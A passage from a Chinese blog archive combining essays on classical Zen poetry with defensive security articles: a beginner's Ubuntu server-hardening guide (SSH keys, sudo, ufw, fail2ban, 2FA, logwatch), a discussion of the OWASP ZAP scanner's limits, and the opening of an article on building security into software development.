当时宋高宗曾亲书此诗而无比快乐。全诗不着一字写心灵,却情趣深妙。 首二句诗意地将世事一切皆因果相应,纳入句中,不留半点痕迹。后两句以白描手法,表现暮春花落絮飞的自然现象,却不落窠臼,揭示了宇宙万物的必然:花落并不是因为雨打而产生,絮飞也不因为风吹而出现,二者皆属于宇宙万物的必然规律。本质如此,生命无常,生命自有安排,不独花木如此,晚春如此,人也同此理。 --- ## 10 分钟服务器安全设置,Ubuntu安全设置入门 Date: 2016-07-08 URL: https://blog.wo.ai/archives/1181 Categories: Uncategorized Bryan Kennedy 的《[5分钟服务器安全设置](http://plusbryan.com/my-first-5-minutes-on-a-server-or-essential-security-for-linux-servers)》很好地介绍了对多数服务器攻击的防御对策。我们对他的方法做了一些修改,记录下来,作为推广[我们的流程和最佳实践](https://github.com/codelittinc/incubator-resources)的一部分。还增加一些额外的解释,年轻的工程师们应该可以从中受益。 我每天上午检查 logwatch 邮件的时候,看到那些成百上千的登录尝试,几乎没有成功的,完全就像是一种享受。(有很多非常令人无语,比如用 1234 做 root 密码反反复复的登录)。这篇入门文章适用于 Debian/Ubuntu服务器,这是我们最喜欢的服务器发行版,通常我们这些服务器只是作为 docker 容器的宿主机,不过原理仍然适用。下一次我们再深入讲解如何保护专门用作 docker 宿主机的服务器。 在大规模系统上,当然最好是用 [Ansible](https://github.com/ansible/ansible) 或 [Shipyard](https://shipyard-project.com/) 这类工具完全自动化配置。不过偶尔的,你只是搭建一台独立服务器或为一个 Ansible recipe 准备基准设置,这就是本文要涵盖的内容。 **声明:本文仅仅是入门和基础,你需要根据自己的需求来扩展。** ### 重要的事先说 我们还没给 root 设密码呢,密码要随机、要复杂。我们用一种密码管理软件的密码生成器,调至最复杂设定。PW 管理软件将密码加密保存,并且由一个很长的主密码保护着。这里提供了多项冗余措施——长、复杂、随机的密码 + 加密保存/另一个长密码保护。不管你是用 PW 管理软件或其他手段,要妥善保管密码并且要加密保存。你只有在忘了 sudo 密码时才会用到这个密码。 > `# passwd` * 注:在 [HN](https://news.ycombinator.com/item?id=11909543) 和 [Redit](https://www.reddit.com/r/netsec/comments/4o7wpo/my_first_10_minutes_on_a_server/) 上有很多关于 root 密码的讨论,值得一读。 下一步就需要更新软件库并升级系统、应用最新的补丁。我们后面有个章节专门介绍如何自动安装安全更新。 apt-get update apt-get upgrade ### 添加用户 永远不要以 root 登录服务器。在用户名方面我们跟 Bryan 遵循类似的惯例,但是你可以根据自己的喜好使用任何惯例。在小团队里,大家共用一个用户名不是问题;但是队伍再大一些的话,最好是给不同的用户设定不同的权限级别,只给精心挑选的少数用户赋予 sudo 权限。 useradd deploy mkdir /home/deploy mkdir /home/deploy/.ssh chmod 700 /home/deploy/.ssh 给用户 deploy 配置你喜欢的 shell,这里我们用 bash: usermod -s /bin/bash deploy 记住, chmod 700 表示“所有者可以读、写、执行”。我们现在还在 root 帐号下,马上就要将此文件夹设为属于 deploy 用户和 deploy组,只有这个用户对 .ssh 文件夹有完全控制权。 ### 使用 ssh key 验证 我们倾向于避免用密码登录服务器。Bryan 当初那份指南发表后,关于这个话题有[很多讨论](https://news.ycombinator.com/item?id=5316691),但我愿意加入这个阵营。下面是一些要点: 1. ssh keys 比密码更好,因为它包含并要求更多信息; 2. 密码可以被暴力破解,猜测一个公钥基本上不可能,可以认为是完美的安全措施; 3. 电脑丢失了怎么办?是的,你的私钥到了别人手里。不过废除 ssh-key 很容易,只需要将公钥从 authorized_keys 里删除。你还应该给你的私钥加上安全的、足够长的密码短语。见下一条; 4. 以上这些都好用的前提是:**必须用安全的、足够长的密码短语来保护你的私钥** 。重要的事情至少说两遍。 好了,我们把服务器密码验证抛到脑后吧。把你电脑里的 id_rsa.pub 的内容复制到服务器的 authorized keys 文件里。 vim /home/deploy/.ssh/authorized_keys 我们基于 Linux 安全性的“[最少特权原则](https://en.wikipedia.org/wiki/Principle_of_least_privilege)”来设置正确的权限: chmod 400 /home/deploy/.ssh/authorized_keys chown deploy:deploy /home/deploy -R chmod 400 将文件权限设为“仅所有者可读”。第二个命令 chown ,使用户 deploy 和 组 depoly 成为它们家目录的所有者。我们先前提到过这个,记得吗?在设这这个目录权限为“所有者可以读、写、执行”的时候。 我们顺利测试 deploy 用户并设置 sudo 之后,再回来禁止 root 登录和强制实行仅密钥认证。 ### 测试 deploy 用户、设置 sudo 我们来测试一下用 deploy登录,同时不要关闭 root 帐号的 ssh 连接以备万一。如果没有问题,我们就用 root 用户给 deploy 设置密码,因为我们没会禁用密码登录,这个密码是 sudo 的时候用的。还是用一个密码管理器来生成一个复杂随机的密码、加密保存、在团队中共享(同步加密的 pw 文件)。 passwd deploy 设置 sudo 很简单,用这个命令打开 sudo 文件: visudo 如下,在 root 用户下面添加 %sudo 组(在sudo文件里,用户名没有前缀,组名需要用 %前缀)。确保用 # 注释掉其他任何用户和组,新安装的系统一般不会有,但还是确认一下好。 root ALL=(ALL) ALL %sudo ALL=(ALL:ALL) ALL 然后把 deploy 用户添加到 sudo 组。 usermod -aG sudo deploy deploy 现在具备了sudo 权限,一般来说你需要退出并重新登录来使用这个权限,不过有个避免这个步骤的小伎俩: exec su -l deploy 这个命令为 deploy 用户启动了一个新的交互 shell,并带有了 sudo 组的新权限。你需要输入 deploy 的密码,但是感觉上比注销再登录回来能更快些。「译者注:这个感觉我没有 😉 」 > 编辑注释: > 感谢 Reddit 上的 [ackackacksyn](https://www.reddit.com/r/netsec/comments/4o7wpo/my_first_10_minutes_on_a_server/d4aeajf) 指出来,不应该直接把用户加到 sudoer (即sudo file),而是要加入到具备 sudo 权限的组,文章已经按此修改。 > 感谢 /r/netsec 的 [FredFS456](https://www.reddit.com/r/netsec/comments/4o7wpo/my_first_10_minutes_on_a_server/d4br5q6) 指出来,需要注销并重新登录才能使新加入的组权限生效,文章已经按此修改。 ### 强制 ssh 密钥登录 服务器的 ssh 设置在这里: vim /etc/ssh/sshd_config 你需要修改或添加下面这几行,我觉得它们相当的简单明了。你可以填上你用来登录的 IP ,我们有个用 OpenVPN 搭建的公司 VPN 服务器,带加密验证的,所以为了连接到服务器,你必须首先连上 VPN 。 PermitRootLogin no PasswordAuthentication no AllowUsers deploy@你的VPN或固定IP AddressFamily inet 重新启动 ssh 服务来让这些规则生效,你很可能需要重新连接(这回就用 deploy 用户吧!) service ssh restart * 注:感谢 HN 上的 [raimue](https://news.ycombinator.com/item?id=11910321) 和 mwpmaybe 指出来,我们在后面要安装的 [fail2ban现在还不支持 IPv6](https://github.com/fail2ban/fail2ban/issues/1123),所以我在 ssh_config 里添加了 AddressFamily inet 这一行,意思是只允许 IPv4。 ### 设置防火墙 这里有两个阵营,一个直接使用 iptables,另一个使用一款叫做 ufw 的简便接口(在 iptables 之上的一个层,目的是简化操作)。对安全来说,简单化通常是更好的,[DigitalOcean ufw](https://www.digitalocean.com/community/tutorials/how-to-setup-a-firewall-with-ufw-on-an-ubuntu-and-debian-cloud-server) 真心不错而且绝不只是个基本工具。 Ubuntu 上 ufw 是默认安装的,在 Debian 上只需要执行一下 sudo apt-get install ufw 。 默认情况下 ufw 应该拒绝一切入站连接、允许全部出站连接,但是这行不通(那样的话你怎么连进来呢?)。我们来一步步地显式允许我们视为OK的连接。 首先我们需要保证支持 IPV6 ,只需打开配置文件: vim /etc/default/ufw 允许 IPv6 IPV6=yes 其它要打开的端口我们用 ufw 工具在命令行添加,这非常方便: sudo ufw allow from 你的IP to any port 22 sudo ufw allow 80 sudo ufw allow 443 sudo ufw disable sudo ufw enable 第一个命令是个冗余措施,保证只有从我们的 IP 才能连接 ssh标准端口,第二个和第三个用来打开 http 和 https 。 > 注:感谢 [chrisfosterelli](https://news.ycombinator.com/item?id=11910341) 指出来,如果你要设置第一条规则(你应该),要确保你有个固定 IP 或安全的 VPN,动态 IP 会在某天把你锁到服务器外面。[ 译者注:这是废话,但比较贴心,呵呵 ] ### 自动应用安全更新 我喜欢这个,安全更新并不完美,但及时安装补丁还是更好些。 apt-get install unattended-upgrades vim /etc/apt/apt.conf.d/10periodic 照下面的例子编辑文件10periodic : APT::Periodic::Update-Package-Lists "1"; APT::Periodic::Download-Upgradeable-Packages "1"; APT::Periodic::AutocleanInterval "7"; APT::Periodic::Unattended-Upgrade "1"; 我基本同意 Bryan 的说法,禁用普通更新,只启用安全更新。因为你不希望一个应用在你毫无察觉的时候 down 掉,只是因为某个软件包被更新了。相反,安全更新很少在应用程序方面产生噩梦般的依赖问题。 vim /etc/apt/apt.conf.d/50unattended-upgrades 这样修改文件: Unattended-Upgrade::Allowed-Origins { "Ubuntu lucid-security"; //"Ubuntu lucid-updates"; }; 到这里你已经准备就绪了。 ### fail2ban [![1087378](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1d72d8535b_b2d4710beeca0097bccf69d6fc2f93de.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1d72d8535b_b2d4710beeca0097bccf69d6fc2f93de.png) Fail2ban 软件包主动拦阻可疑行为。根据官方 [wiki](http://www.fail2ban.org/wiki/index.php/Main_Page),Fail2ban 扫描日志文件(比如:/var/log/apache/error_log ),通过在 iptables 添加规则来阻止那些有恶意迹象(多次密码错误,探寻漏洞等…)的 IP。 Fail2Ban 自带多种协议过滤器(HTTPS, STMP, SSH等),它还与 [Apache](https://www.digitalocean.com/community/tutorials/how-to-protect-an-apache-server-with-fail2ban-on-ubuntu-14-04) 、[Nginx](https://www.digitalocean.com/community/tutorials/how-to-protect-an-nginx-server-with-fail2ban-on-ubuntu-14-04)等众多服务集成,提供一定程度的 DDoS 或暴力破解防护。不过使用的时候要小心,因为封堵 DDoS 攻击的源地址,可能也会阻止正常用户一段时间。它带有大量的配置选项,包括集成SendMail,当某个 IP 被封堵时发出邮件通知。你尽可以点击上述这些链接,看看哪些选项对你的胃口。 我们来安装这个软件,作为开始,只用默认配置来保护 ssh: apt-get install fail2ban ### 双重认证 构建任何敏感系统时,双重认证(2 Factor Authentication, 2FA)不是额外的要求,而是必须的。理论上,如果你强制启用 2FA (加上以上所有措施),那么为了登录你的服务器(应用程序漏洞除外),攻击者必须: 1. 获得你的证书来登录VPN 2. 获得你的电脑、拿到你的私钥 3. 获得你私钥的密码短语 4. 获得你的电话以遍完成双重认证 这就需要跨越不少的障碍了,即使都得手了,攻击者还是需要 deploy 用户的密码才能通过 sudo 获得 root 权限,而密码可是用 AES 加密保存的。 安装这个软件包 apt-get install libpam-google-authenticator 运行这个命令来设置,根据提示配置: su deploy google-authenticator 2FA非常简单,而且增加了很强的一层安全性。 ### Logwatch 这不仅仅是个简单的小快乐和监控工具,用来事后查看服务器发生了什么。Logwatch 监控你的日志文件,经过配置后,它可以每天发送格式精美的报告邮件。邮件内容看起来非常有喜感,你会惊讶每天有那么多要进入你服务器的企图。我装这个软件包没有别的原因,就是给团队显示一下好的安全性配置有多么重要。 DigitalOcean 有一篇关于 [logwatch 安装配置](https://www.digitalocean.com/community/tutorials/how-to-install-and-use-logwatch-log-analyzer-and-reporter-on-a-vps)的详细文档,但是如果时间限制在 10 分钟以内,我们只会完成安装,然后配置 cron 计划任务来每天发送邮件。 apt-get install logwatch 添加 cron 计划任务 vim /etc/cron.daily/00logwatch 把这一行加进去: /usr/sbin/logwatch --output mail --mailto you@example.com --detail high 完工! 好啦,完成这一切之后,你的主要漏洞关注点将是你的应用程序和服务,这完全是另一盘菜了。 ### 相关文章 * [记一次Linux服务器上查杀木马经历](http://blog.jobbole.com/90098/) * [使用ansible批量管理远程服务器](http://blog.jobbole.com/99159/) * [Ubuntu桌面生存指南(1):选择 Linux](http://blog.jobbole.com/29546/) * [基于 JavaScript 的操作系统你听说过吗?](http://blog.jobbole.com/97676/) * [Ubuntu桌面生存指南(2):Ubuntu桌面体验简介](http://blog.jobbole.com/29668/) * [如何保证Linux服务器的安全](http://blog.jobbole.com/48195/) * [2011年7个最佳的Linux发行版](http://blog.jobbole.com/1236/) * [一次Linux服务器被hack的过程分析](http://blog.jobbole.com/21294/) * [用 Puppet 搭建易管理的服务器基础架构(1)](http://blog.jobbole.com/87679/) * [小措施提高Linux服务器安全](http://blog.jobbole.com/25484/) [10 分钟服务器安全设置,Ubuntu安全设置入门](http://blog.jobbole.com/103344/),首发于[文章 – 伯乐在线](http://blog.jobbole.com)。 --- ## 寻心8:春天的支流牛角辫 Date: 2016-07-08 URL: https://blog.wo.ai/archives/1202 Categories: Poem & Reading 过去的淳朴乡村,女孩子的牛角辫就像春天的支流。纯洁而朴素,没有更多的花样,恰恰这样,单调称为经久耐看的经典。 **一树春风** 苏东坡 一树春风有两般,南枝向暖北枝寒; 现前一段西来意,一片西飞一片东。 这是一首非常有趣的禅诗,核心意思是物我合一的哲学命题。在禅师心中,物我一体,外相山河大地即内在山河大地,大千世界即心内世界,物我已经没有分别,已完全融合。好比一棵植物,同样接受空气、阳光、水分,每一片叶子有不同的生机,但彼此又能无碍共存于同一株身体上。 世界上的事物从来都不可能独立,都共用一个世界共同的身体。所以人在世上,善待别人就是善待自己;善待万物就是在善待我们自己的生命与生存。 --- ## 寻心7:低头看到天堂的高度 Date: 2016-07-07 URL: https://blog.wo.ai/archives/1200 Categories: Poem & Reading 在泥泞处,很深的脚印里,有清澈的水,水穿着脚印,如同穿着靴子。而天空,在这靴子里洗澡、玩耍,最好的兼职,用作天空的儿童乐园,这就是传说的天堂,一个脚印就可以作为无限大的世界。 **终日看天** 守珣 终日看天不举头,桃花烂漫始抬眸。 饶君便有遮天网,透得牢关即便休。 这是首开悟诗。作者是借灵云的桃花悟道诗而开悟。作者守珣(1064-1134),浙江安吉人,宋临济宗杨岐派禅师。佛鉴慧勤禅诗法嗣,亦深得圆悟克勤禅诗赏识,世称佛灯禅师。 修行中低头,低调,“终日看天不举头”,却获得了身心的自由自在,为何?天,即天道,即佛性,因为佛性无处不在,无时不睹,故修禅时不用举头即可见道。“桃花烂漫始抬眸”,佛性大显的时候抬头即可明心见道。 --- ## 寻心6: 二月早春就想少女情窦初开 Date: 2016-07-06 URL: https://blog.wo.ai/archives/1198 Categories: Poem & Reading 那些常青藤的句子肚子里面,常常有流水的地铁在穿越漫游,无数的神仙天使与说不出来的秘密乘客,在上面快乐漂流。一旦地铁流出常青藤,就脱下隧道的衣服,绽开为小溪流的宽银幕躺着的瀑布,一场电影在流动。 **绝句** 志南 古木阴中系短篷,杖藜扶我过桥东。 沾衣欲湿杏花雨,吹面不寒杨柳风。 志南、南宋初期诗僧,因为这首描写二月春景的诗让人记住。 二月早春,骷髅返春。枯树的骷髅,都知道要穿新衣服。田野知道要用花朵的新饭碗,吃新鲜饭。 这首诗,前两句写诗人的行踪,后两句写诗人眼中的春光。 前两句的妙处,在雨用笔身为只会,予人以清凉幽静的美感:古木、溪水、篷船、杖藜、小桥和无事的老僧组合在一起,演奏出神奇的力量,构成一幅浑然天成的游春图。杖藜扶我过桥东,诗意地表现了汉文明哲学思想里生命的最高境界,即我们心灵所崇尚的物我合一的佳境,即天人合一。 后两句给人感觉是清新悠然:小桥东边,杏花就像烟一样,杨柳就像线一样,细雨就像酥油一样,和风就像丝一样。那杏花烟雨,欲沾人衣而不湿,快意人生;那杨柳和风,吹在人脸上,感觉凉美而不觉寒冷。其实这只是自然菜拥有的力量。 --- ## 寻心5:一粒歌能走多远 Date: 2016-07-05 URL: https://blog.wo.ai/archives/1196 Categories: Poem & Reading 一粒种子一粒歌,这粒歌能走多远?就看它心里行程安排。它首先要保持一粒冰的骨头,然后要拔出闪电作为发芽,然后金蝉脱壳,灵魂出窍,走得更远,把自己藏起来,藏在根、苗上。苗即自己的庙。 一粒种子能走多远?它走到过去,走回祖先身上,返回最先版本的自己。这样,一粒生命的灵性,在进行璀璨的旅行。 **春歌** 无门慧开 春有百花秋有月,夏有凉风冬有雪; 若无闲事挂心头,便是人间好时节。 这个作品,对于如何做人、处世、安身立命做了很好的启示。要单纯、要快乐、要自由、不要压力太大,增强心理素质,克服成长过程中不必要的恐惧因素。 圆满的人生,在每一个阶段,都有自己值得肯定的足迹。所谓圆满,都属于遗憾的艺术。每一个人,在自己的不同阶段,都会有自己的遗憾,不要紧,只要不是致命的遗憾,下一个人生阶段还来得及圆满、圆梦。 --- ## 寻心4:花朵的饭碗,吃立正的面条,并用面条洗澡 Date: 2016-07-04 URL: https://blog.wo.ai/archives/1193 Categories: Poem & Reading 一杯酒里面,挤满多少感叹号,那些感叹号被喝酒的人喝进肚子里以后,就会从嘴里爬出来,重新发芽,发出自己的声音。 很多人的心情都一样,心情就像同一种笔画,在不同的人身上,写下相同的感受。 看山,看水,山水给人的情感,其实为人自己的情感。只不过,人从山水里面,把自己的感慨取回来,就像从邮局取回自己的包裹。 同一个山水,杜牧感叹自己的心情,与李白的心情一样。 **念昔游三首(其三)** 杜牧 李白题诗水西寺,古木回岩楼阁风。 半醒半醉游三日,红白花开山雨中。 “水西寺”即天宫水西寺,是宣州泾县水西山中很有名的一座寺院。李白曾游到此,并题有《游水西简郑明府》一诗。李白诗中这么写:“清湍鸣回溪,绿竹绕飞阁;凉风日潇洒,幽客时憩泊”,写了这一山寺佳境。 蒙蒙雨雾,山花盛开,红白相间,幽香扑鼻;似醉若醒的诗人,漫步在这一带有浓烈自然野趣的景色中,显得陶然自得,心灵的到安慰。 --- ## 寻心3:燕子是春天的鼠标 Date: 2016-07-03 URL: https://blog.wo.ai/archives/1191 Categories: Poem & Reading 很多人喜欢小巷子,喜欢那里的宁静,那样古老的城市建筑,有着古典之美。实际上,是时光成就了这样的安静与美丽,也是时光雕刻了人间的怀念与伤感。 《乌衣巷》是经典水墨,经典木刻,是一支怀念的歌谣,那样淡淡的,温馨的禅意,成为了人们心灵的燕子,轻轻飞翔。 **乌衣巷** 刘禹锡 朱雀桥边野草生,乌衣巷口夕阳斜。 旧时王谢堂前燕,飞入寻常百姓家。 乌衣巷在今南京市东南,秦淮河南岸。东晋时王导、谢安等豪门世族就居住在这里。朱雀桥在乌衣巷附近,是当时的交通要道。写其今日衰败景象,写昔日繁荣,形成强烈的对照。 从前的燕子飞来,总是在王、谢等豪门世族宽敞的宅子里筑巢。如今旧世族的楼台亭阁荡然无存,燕子也只能住在寻常百姓家了。 --- ## 寻心2:一朵花绽开一个寺庙 Date: 2016-07-02 URL: https://blog.wo.ai/archives/1185 Categories: Poem & Reading 新华看世界,只为怀孕正果。鲜花的目光,都穿上香气。 寺院的春天,让游人得到沐浴。人间在寺院里的到清洗。寺院就像洗衣机,把人间洗干净。 **开善寺** 阴铿 鹫岭春光遍,王城野望通。 登临情不极,萧散趣无穷。 莺随入户树,花逐下山风。 栋里归云白,窗外落晖红。 名石何年卧,枯树几春空? 淹留惜未及,幽桂在芳丛。 这首诗以工笔写景,丛“登临情不及”说起,以“淹留惜未及”结尾,中间部分景色描写,表现对大自然风光的迷恋。 前四句着眼钟山全景,写开善寺春光遍野,诗人游兴盎然。鹫岭即灵鹫山,本为中印佛教圣地,如来曾在此讲经,因开善寺亦为佛门禅院,所以此处借指钟山。野山野水,自然的野性,才是尊重它们的生命。 后四句是全诗的精华部分,意象精妙,用词洗炼,是诗歌史上传诵的写景名句。 “淹留惜未及,幽桂在芳丛”借用《淮南小山 招隐士》中的“桂树丛生兮山之幽”“攀援桂枝兮聊淹留”“王孙兮归来,山中兮不可久留”等句,表达不能久留于此,辜负美景,深以为憾。 --- ## 寻心1: 种子开门春天到 Date: 2016-07-01 URL: https://blog.wo.ai/archives/1182 Categories: Poem & Reading 那些春天,早在冬天的时候,就用空荡荡的寂寞,守住了寒冷的阵地,在枯枝上,在田野上,在枯草上,寂寞的叽叽喳喳喊了很长的时间,终于喊来了春天,春天说出声音来,说出心灵来,说出颜色来,说出新鲜的衣服来。 种子纷纷往坑里跳,埋没自己,让自己隐没于黑暗中,然后自己开门,让自己内部的客人于世界,出来看看。 **终日寻春** 无尽藏比丘尼 终日寻春不见春,芒鞋踏破岭头云。 归来偶把梅花嗅,春在枝头已十分。 我们寻找人生的价值以及幸福,修行者求道,都好比寻找春天。 寻找春天的人,从清晨找到夜晚,走遍千山万水,磨破鞋底,仍然看不见春天的踪影。 心灰意懒,回到家中,庭院中早开的寒梅,清香从花朵身上泼水一样泼出来,忍不住深深地一吸,原来春天早就悄悄地绽开在寒梅枝上了。 幸福无所不在,心的大道无所不在,处处可以体会,甚至吃饭、睡觉、走路、行进之间都有道的存在,在启示世人,不要错过这些伟大的开启与暗示。 --- ## 用了ZAP,你的软件就安全了吗? Date: 2016-06-06 URL: https://blog.wo.ai/archives/1180 近来几年,很多大型网站频发安全事件,比如2011年众所周知的CSDN密码泄露事件,2014年eBay也因受到攻击造成用户密码和个人数据泄露,Web安全逐渐进入人们的视野,安全测试也逐渐成为了软件测试中非常重要的一部分。 提到安全测试,很多人应该都会想到ZAP,ZAP(Zed Attack Proxy)是OWASP提供的一款免费Web安全漏洞扫描工具,用户可以通过设置浏览器和ZAP的Proxy,在开发过程或测试过程中自动检测Web应用程序是否存在安全漏洞,ZAP还会提供扫描结果的风险等级,修复建议以及一些参考文档,下图就是ZAP扫描后的一个用户界面。 [![ZAP](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/295ba768b9_7cc829d3jw1f4ln41jz39j20sg0j9tez.jpg)](http://insights.thoughtworkers.org/wp-content/uploads/2016/04/ZAP.png) 除了自动扫描功能,ZAP也支持手动安全测试,通过在数据发送到服务器之前手动修改请求信息来测试Web应用程序是否存在安全漏洞。 很多人会有这样的疑惑,ZAP能否扫描出所有的安全漏洞?ZAP扫描出的安全漏洞和安全等级是否可靠?用了ZAP,软件是不是就安全了? ### ZAP局限性 首先虽然ZAP的自动扫描功能非常强大,但对于OWASP Top 10中的某些项或者Top 10以外的一些安全漏洞,想要通过ZAP扫描检测出来是非常困难的,比如Top 10中的A5 “Security Misconfiguration” 就很难通过扫描检测出来,所以ZAP所能扫描到的安全漏洞只是OWASP Top 10的一个子集。 其次,ZAP扫描后的安全报告,还是需要结合实际项目进行分析才能确定其有效性和安全等级,比如我们在项目中曾经用ZAP扫描出了 “Cookie set without HttpOnly flag” 的安全隐患,推荐的解决方案是将所有的Cookie都设置成HttpOnly,但现实的情况是项目中前端AJAX需要携带这个Cookie来给后端发送请求,如果设置了这个flag,那么我们正常的请求也会失败,所以这个漏洞对我们来说就是无效的,或者说我们是不应该修复的。 另外因为Web应用程序往往比较复杂,会有很多组成部分,比如前端、服务器端、数据库等,各层分别使用了不同的框架、语言,而且经常会引入一些第三方的库、框架或者模块,每一个环节都有可能存在安全隐患,所以仅仅依赖ZAP是不够的,比如针对第三方组件的安全测试,就可以借助OWASP提供的另外一款工具Dependency Check。 通过分析实际项目中发现的安全问题,我们发现缺陷大体上如下分布: [![Defects分析](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bfbdc54994_7cc829d3jw1f4ln42d3xaj20sg0ob0uh.jpg)](http://insights.thoughtworkers.org/wp-content/uploads/2016/04/Defects%E5%88%86%E6%9E%90.png) 安全问题可以归为两大类: * 一类是比较有共性的,即可以抛开业务上下文,软件之间共通的一些问题,常见的比较严重的安全隐患,如XSS攻击,CSRF攻击等,ZAP可以帮我们扫描出大多数的问题。 * 另一类是针对业务需求的,比如非授权的账户是否不能访问/修改他们没有权限的信息等等,对于这一类问题,离开具体的业务上下文,是很难测试的,因为什么样的用户具有什么样的权限往往是业务领域的知识,换句话说,这一类问题的测试重点是看正常的用户能否按照业务需求所期望地正常使用系统,怎么区分evil user并阻止其对系统的使用和破坏,需要很强的业务背景。 举一个简单的例子,比如一个Web系统有两种角色,管理员和普通账户,业务需求是管理员可以修改所有人的所有信息,普通账户只能看到和修改自己的信息,如果普通账户张三可以通过一些非正常手段修改李四的信息,或者非系统的用户(evil user)通过某些方式可以看到系统内账户的个人信息,这些都是严重的安全缺陷,而且这一类的缺陷所占比率比较大,但是都没有办法通过ZAP扫描出来,也没有办法脱离对业务知识的了解来进行测试。 ### 安全内建 ZAP扫描,针对业务上下文的用户权限测试(不能局限于界面,还要通过其他一些方式比如修改请求)以及evil user的用户场景测试,可以覆盖绝大多数的Web安全缺陷,但是正如我们没有办法将质量注入一个已经成型的产品一样,安全也是同样的道理。 如果我们在软件已经编码完成之后再引入安全检查和测试,那么软件的安全质量已经确定,后期的修复只能解决已经发现的安全漏洞,不能让软件更加安全,而且对于这些安全缺陷,发现得越晚,修复的成本就会越高。 所以为了开发安全质量较高的产品,除了选择好的工具以及增加业务背景下的安全测试,还非常有必要将安全检查和测试提前,在软件开发各个过程中引入安全实践。 微软提出的SDL(Security Development Lifecycle)就是这样的理念,SDL提出了很多软件开发过程中非常好的的安全活动,比如需求分析阶段的“最小权限原则”,开发阶段“弃用不安全的函数”,以及测试阶段可以使用“模糊测试”等等,其核心理念就是将软件安全的考虑集成在软件开发的每一个阶段,从需求,设计,编码,测试,到最后的发布整个过程中,下图是一个简化版的SDL流程图,完整的SDL还包括前期的培训,发布后的响应等: [![SDL](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/dc00b7ed25_7cc829d3jw1f4ln4383cpj20sg07ztal.jpg)](http://insights.thoughtworkers.org/wp-content/uploads/2016/04/SDL.png) ThoughtWorks提出的BSI(Build Security In),即安全内建,强调的也是安全提前的理念,结合敏捷软件开发实践,将安全融入到用户故事的生命周期中,引入安全验收条件, 不同角色(业务人员、开发人员,测试人员以及客户)在用户故事的每个阶段对安全验收条件进行沟通,检查,验证,确保在用户故事交付之前满足了定义的安全验收条件,下图就是用户故事的生命周期图以及在各个阶段哪些角色会参与哪些安全活动的一个简单介绍:[ ](http://insights.thoughtworkers.org/wp-content/uploads/2016/04/bsi.jpg) [![QQ20160405-0@2x](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/65f772e67c_7cc829d3jw1f4ln45dljpj20sg08cac5.jpg)](http://insights.thoughtworkers.org/wp-content/uploads/2016/04/QQ20160405-0@2x.png) 在保证用户故事满足了安全需求的基础上,基于迭代/发布还会有一些整体的功能级别的验证,做到真正的安全内建。 以上两种理念强调的都是把安全作为跟功能一样重要的考虑因素,在软件开发的各个阶段进行沟通和反复验证,很多实践经验也表明,将安全活动作为软件开发过程的一部分来执行,其安全效益要大于临时的或者零散的安全活动。 ### 结论 所以从安全测试的选择来看,我们不能单一依赖某种工具,比如ZAP扫描,而应该多加入一些基于业务需求的安全测试,多从攻击者的角度思考问题,更重要的是,可靠的安全测试只能避免安全漏洞造成更大的危害和影响,并不能打造安全的产品,真正的安全产品必定需要整个软件开发过程中每个环节的保障,需要从业务分析阶段就将安全作为重要的考虑因素,将安全实践融入到整个软件开发过程中,所有角色共同参与,这样才能做到真正的安全内建。 ### 相关文章 * [Redis 未授权访问缺陷可轻易导致系统被黑](http://blog.jobbole.com/94518/) * [Cookies 的跨域脚本攻击 – Github 迁移域名的安全详解](http://blog.jobbole.com/38213/) * [4个常用的HTTP安全头部](http://blog.jobbole.com/60143/) * [超大 Cookie 拒绝服务攻击](http://blog.jobbole.com/87394/) * [空指针漏洞防护技术(提高篇)](http://blog.jobbole.com/90942/) * [XSS 前端防火墙(5): 整装待发](http://blog.jobbole.com/71804/) * [为什么文件上传表单是主要的安全威胁](http://blog.jobbole.com/48088/) * [拜托,不要再帮黑客来猜我的密码了](http://blog.jobbole.com/37906/) * [你的隐私安全吗:Cookie到底是什么?](http://blog.jobbole.com/36154/) * [Web 前端攻防(2014版)](http://blog.jobbole.com/76068/) [用了ZAP,你的软件就安全了吗?](http://blog.jobbole.com/102065/),首发于[文章 – 伯乐在线](http://blog.jobbole.com)。 --- ## 内建安全的软件开发 Date: 2016-05-30 URL: https://blog.wo.ai/archives/1179 Categories: Uncategorized ### 1\. 传统安全实践面临着严峻的挑战 随着互联网应用、移动应用爆发式的增长,伴随而来的黑客攻击事件也是层出不穷。仅在过去的2015年里,被公开报道的数据泄露安全事件就有约3930起,将近7.36亿条数据被泄漏。显而易见的是,如果某家企业被爆出安全问题,对企业造成的影响不仅仅只是名誉、财务上的损失,还会遭受法律诉讼,陷入竞争不利的局面。安全已经是企业不可忽视的问题。 近年来,黑客攻击的趋势已经发生了显著的改变,由最初的针对网络、操作系统以及服务器的攻击,已经转变为针对应用程序的攻击。根据Garnter的调研报告显示,有将近80%的安全漏洞发生在应用层。为了应对新的安全威胁,企业也做出了各种尝试,例如为员工提供安全培训、设立安全规范文档、部署Web应用防火墙、建立安全监控中心、利用安全渗透测试寻找安全漏洞等等。经过一些列的努力,取得的成果也是比较显著的,例如老生常谈的SQL注入攻击,其全球范围内的漏洞数量呈现出了非常显著的下降趋势,如图1-1所示。 [![image_0](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e58bc1d865_7cc829d3jw1f4d8u9zdaqj20gc0b7gn3.jpg)](http://insights.thoughtworkers.org/wp-content/uploads/2016/05/image_0.png) _图 1-1 SQL 注入漏洞数量趋势_ 然而并不是所有发生在应用程序中的安全漏洞的数量都得到了有效抑制,例如跨站脚本攻击漏洞的数量似乎并不受安全措施数量的影响,如图1-2所示。 [![image_1](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ff2a31f53c_7cc829d3jw1f4d8uig7h3j20gt0a0jsr.jpg)](http://insights.thoughtworkers.org/wp-content/uploads/2016/05/image_1.png) _图 1-2 XSS 漏洞数量趋势_ 一个现象是,企业为应对应用安全问题采取了各种措施,虽然有一定成效但是也有或多或少的问题,如图1-3所示,随着安全措施数量的增加,应用中的安全漏洞的数量不再显著减少。似乎无论如何努力,开发出来的应用中始终有安全漏洞。 [![image_2](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/565766cc32_7cc829d3jw1f4d8ukmouwj20bh09b3yq.jpg)](http://insights.thoughtworkers.org/wp-content/uploads/2016/05/image_2.png) _图 1-3 安全措施和安全漏洞数量的关系_ 